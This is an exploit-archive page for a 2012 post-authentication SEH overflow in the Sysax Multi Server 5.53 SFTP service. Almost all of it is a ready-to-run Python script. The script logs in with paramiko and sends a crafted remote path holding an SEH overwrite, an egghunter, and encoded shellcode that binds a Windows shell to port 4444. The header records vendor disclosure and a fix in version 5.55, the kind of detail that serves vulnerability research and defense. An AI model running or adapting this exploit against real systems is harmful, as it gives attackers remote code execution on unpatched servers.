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Sysax Multi Server 5.53 SFTP Post Auth SEH Exploit

Sysax Multi Server 5.53 SFTP Post Auth SEH Exploit
Posted Feb 27, 2012
Authored by Craig Freyman

Sysax Multi Server version 5.53 SFTP post authentication SEH exploit with egghunter shellcode that binds a shell to port 4444.

tags | exploit, shell, shellcode
MD5 | 9ebc939a18d9148892f51f798563dd37

Sysax Multi Server 5.53 SFTP Post Auth SEH Exploit

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#!/usr/bin/python
##########################################################################################################
#Title: Sysax Multi Server 5.53 SFTP Post Auth SEH Exploit (Egghunter)
#Author: Craig Freyman (@cd1zz)
#Tested on: XP SP3 32bit
#Software Versions Tested: 5.53
#Date Discovered: Febrary 22, 2012
#Vendor Contacted: Febrary 23, 2012
#Vendor Response: February 27, 2012
#Vendor Fix: Version 5.55
#Notes: Offset based on home path length. This exploit works for C:\AAAAAAAAAAAAAAAA
#Complete Description: http://www.pwnag3.com/2012/02/sysax-multi-server-553-sftp-exploit.html
##########################################################################################################
import paramiko,os,sys

if len(sys.argv) != 5:
print "[+] Usage: ./filename <Target IP> <Port> <User> <Password>"
sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
username = sys.argv[3]
password = sys.argv[4]

transport = paramiko.Transport((host, port))
transport.connect(username = username, password = password)
sftp = paramiko.SFTPClient.from_transport(transport)

# msfvenom -p windows/shell_bind_tcp LPORT=4444 -b "\x00" -e x86/shikata_ga_nai
shell = ("DNWPDNWP"
"\xdb\xd9\xba\xf9\x77\x28\x1b\xd9\x74\x24\xf4\x5e\x29\xc9"
"\xb1\x56\x31\x56\x18\x83\xee\xfc\x03\x56\xed\x95\xdd\xe7"
"\xe5\xd3\x1e\x18\xf5\x83\x97\xfd\xc4\x91\xcc\x76\x74\x26"
"\x86\xdb\x74\xcd\xca\xcf\x0f\xa3\xc2\xe0\xb8\x0e\x35\xce"
"\x39\xbf\xf9\x9c\xf9\xa1\x85\xde\x2d\x02\xb7\x10\x20\x43"
"\xf0\x4d\xca\x11\xa9\x1a\x78\x86\xde\x5f\x40\xa7\x30\xd4"
"\xf8\xdf\x35\x2b\x8c\x55\x37\x7c\x3c\xe1\x7f\x64\x37\xad"
"\x5f\x95\x94\xad\x9c\xdc\x91\x06\x56\xdf\x73\x57\x97\xd1"
"\xbb\x34\xa6\xdd\x36\x44\xee\xda\xa8\x33\x04\x19\x55\x44"
"\xdf\x63\x81\xc1\xc2\xc4\x42\x71\x27\xf4\x87\xe4\xac\xfa"
"\x6c\x62\xea\x1e\x73\xa7\x80\x1b\xf8\x46\x47\xaa\xba\x6c"
"\x43\xf6\x19\x0c\xd2\x52\xcc\x31\x04\x3a\xb1\x97\x4e\xa9"
"\xa6\xae\x0c\xa6\x0b\x9d\xae\x36\x03\x96\xdd\x04\x8c\x0c"
"\x4a\x25\x45\x8b\x8d\x4a\x7c\x6b\x01\xb5\x7e\x8c\x0b\x72"
"\x2a\xdc\x23\x53\x52\xb7\xb3\x5c\x87\x18\xe4\xf2\x77\xd9"
"\x54\xb3\x27\xb1\xbe\x3c\x18\xa1\xc0\x96\x2f\xe5\x0e\xc2"
"\x7c\x82\x72\xf4\x93\x0e\xfa\x12\xf9\xbe\xaa\x8d\x95\x7c"
"\x89\x05\x02\x7e\xfb\x39\x9b\xe8\xb3\x57\x1b\x16\x44\x72"
"\x08\xbb\xec\x15\xda\xd7\x28\x07\xdd\xfd\x18\x4e\xe6\x96"
"\xd3\x3e\xa5\x07\xe3\x6a\x5d\xab\x76\xf1\x9d\xa2\x6a\xae"
"\xca\xe3\x5d\xa7\x9e\x19\xc7\x11\xbc\xe3\x91\x5a\x04\x38"
"\x62\x64\x85\xcd\xde\x42\x95\x0b\xde\xce\xc1\xc3\x89\x98"
"\xbf\xa5\x63\x6b\x69\x7c\xdf\x25\xfd\xf9\x13\xf6\x7b\x06"
"\x7e\x80\x63\xb7\xd7\xd5\x9c\x78\xb0\xd1\xe5\x64\x20\x1d"
"\x3c\x2d\x50\x54\x1c\x04\xf9\x31\xf5\x14\x64\xc2\x20\x5a"
"\x91\x41\xc0\x23\x66\x59\xa1\x26\x22\xdd\x5a\x5b\x3b\x88"
"\x5c\xc8\x3c\x99")

egghunter = (
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd"
"\x2e\x3c\x05\x5a\x74\xef\xb8\x44\x4e\x57\x50"
"\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

nseh = "\x90\x90\xeb\x08"
junk = "A" * 256
padding = "B" * (256 -len(junk) - len(shell))
seh = "\xA1\x47\x92\x5D" #5D9247A1 PPR RPCNS4.dll: *** SafeSEH unprotected ***
remotepath = junk + nseh + seh + "\x90" * 10 + egghunter + "\x90" * 1000 + shell + "\x90" * 100
localpath = '/tmp/system.log'
print "============================================================================"
print " Sysax Multi Server <= 5.53 SFTP Post Auth SEH Exploit (Egghunter) "
print " by cd1zz "
print " www.pwnag3.com "
print " Launching exploit against " + host + " on port " + str(port) + " for XP"
print "============================================================================"
sftp.get(remotepath, localpath)
sftp.close()
transport.close()

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